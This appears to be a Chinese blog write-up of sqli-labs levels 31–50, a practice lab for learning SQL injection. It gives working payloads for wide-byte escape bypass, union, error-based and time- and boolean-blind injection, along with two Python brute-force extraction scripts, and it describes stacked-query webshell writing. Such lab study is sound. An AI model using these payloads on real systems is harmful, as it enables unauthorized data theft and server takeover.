sqli-lab 31-50

Less-31:

Less-31和Less-30一样

在index.php页面没有防护是")闭合

直接打:

在这里插入图片描述

在login.php页面有防护

在这里插入图片描述
和Less-30一样利用参数污染攻击:

-1") union select 1,2,(select group_concat(username) from users)-- ad

获取username值:

在这里插入图片描述

Less-32:

打开题目发现题目提示:
在这里插入图片描述

我们输入的字符查询将被转义,并且给出了id值的十六进制:

在这里插入图片描述

这就容易让我们想到宽字节注入

具体看这篇博客:
https://blog.csdn.net/qq_43504939/article/details/90108468

尝试注入:

?id=1%df'

在这里插入图片描述
进行union注入
获取字段:
在3处不报错,4处报错,字段为3

?id=1%df' order by 3-- as

在这里插入图片描述

找出在2,3处位置回显

-1%df' union select 1,2,3-- sa

在这里插入图片描述

获取数据库:

-1%df' union select 1,2,database()-- sa

在这里插入图片描述

表名:

?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- sa

在这里插入图片描述
获取user字段:

这里涉及要获取表名和数据库是要用where 判断=‘user’,有引号会被转义所有利用Hex编码绕过:

-1%df' union select 1,2,(group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- s

在这里插入图片描述

获取usrname值:

?id=-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-33:

与上一关一样宽字节注入:

在这里插入图片描述

获取username的值:

在这里插入图片描述

Less-34:

打开题目发现和上一题一样但是这题是POST请求:

在这里插入图片描述

但是直接在页面请求是没用用的:
在这里插入图片描述

发现没有逃逸

用burpsuite抓包看一下发现被编码了:

在这里插入图片描述

改一下在发送:

在这里插入图片描述

宽字节注入成功

剩下步骤与31题一样

获取username的值:

-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-35:

这题发现对 ’ 进行了转义但这是整数型注入不需要单引号

所以直接注入:

获取username的值:

?id=-1 union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-36:

发现和Less-34一样,具体就不在累赘直接上payload:

获取payload的值

?id=-1%df' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

Less-37:

发现和Less-34一样,具体就不在累赘直接上payload:

获取payload的值

uname=-1%df' union select 1,(select group_concat(username) from users)-- ad&passwd=123456&submit=Submit

在这里插入图片描述

Less-38:

打开题目发现可以进行简单的union注入:

?id=-1' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

但根据题目提示可以进行堆叠注入,就测一波堆叠注入:

直接写一句话木马:

在这里插入图片描述

访问执行命令得到:

在这里插入图片描述

Less-39:

这一题和# Less-38一样也是堆叠注入但不同的是是整型注入,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-40:

这一题和# Less-39一样也是堆叠注入但不同的是先通过布尔盲注找到用 ') 闭合,还是直接执行命令写shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-41:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是整型注入,还是直接执行命令写shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-42:

通过burpsuite抓包获取请求信息:

在这里插入图片描述

换hackbar请求(比较直观):

在这里插入图片描述
发现单引号报错,并且也是堆叠注入

于是写入shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-43:

这一题和# Less-42一样也是堆叠注入但不同的是 ') 闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-44:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:sad’ or 1=1#闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-45:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:
') 闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-46:

打开题目经过测试,发现sort的值为1,2,3并且为按那个列排序,且是整数型注入:

在这里插入图片描述

可以打报错注入得到,这里就不浪费时间了
直接获取username的值:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)

在这里插入图片描述

Less-47:

这一题和# Less-46一样也是堆叠注入但不同的是:
') 闭合

可以打报错注入得到,这里就不浪费时间了
直接获取username的值:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

在这里插入图片描述

Less-48:

通过测试发现不会报错是一个整数盲注

当我们输入的sort不存在是得到:

在这里插入图片描述

当连接上or sleep(1)时:

?sort= 0 or sleep(1)

得到:

在这里插入图片描述

发现发生了延时,当前面的sort存在时不发生延时,发生短路。

所以用下面这个语句,判断当前数据库的第一个值是否为s,正确的话为1,不发生延时,否则延时:

?sort=(ord(substr(database(),1,1))=115) or sleep(1)

结果是不延时,可以确定当前数据库 的第一个值

但这样太慢,我采用rand()函数

在这里插入图片描述

在这里插入图片描述

可以发现rand(0)和rand(1)的排序结果是不一样的

所以我们限制只输出一条用:limit 1

这样就可以USRNAME来判断达到布尔盲注

列:

?sort=rand(length(database())>7) limit 1

在这里插入图片描述

在这里插入图片描述

发现大于7时为Dumb

所以database()的长度为7

所以编写出脚本获取值:

import requests
url = 'http://127.0.0.1/sqli/Less-48/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库:f'rand(ord(substr(database(),{m},1))={code}) limit 1'
        #获取表:f'rand(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}) limit 1'
        #获取字段:f"rand(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}) limit 1"
        #获取值:f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        payload = f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        html = requests.get(url+payload)
        sign = html.text

        if 'admin3' in sign:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果:{str}')

得到username的值:

在这里插入图片描述

Less-49:

Less-49和Less-48一样都是盲注,但是49是用 ’ 闭合,所以我采用用的是时间盲注:

?sort=1' and if(1<2,sleep(1),1)-- as

编写脚本

import requests
url = 'http://127.0.0.1/sqli/Less-49/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库:f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        #获取表:f"1' and if((ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}),sleep(1),1)-- as"
        #获取字段:f"1' and if((ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}),sleep(1),1)-- as"
        #获取值:f"1' and if((ord(substr((select group_concat(username) from users),{m},1))={code}),sleep(1),1)-- as"
        payload = f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        html = requests.get(url+payload)
        sign = html.elapsed.seconds

        if sign >1:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果:{str}')


获取username的值:

在这里插入图片描述

Less-50:

打开题目发现和49一样都是排序,但是50发现单引号报错所以可以打报错注入,又因为题目提示可以打堆叠注入所以直接写shell

在进一步测试发现是整型注入,不需要闭合

所以直接写shell:

在这里插入图片描述

访问执行:

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值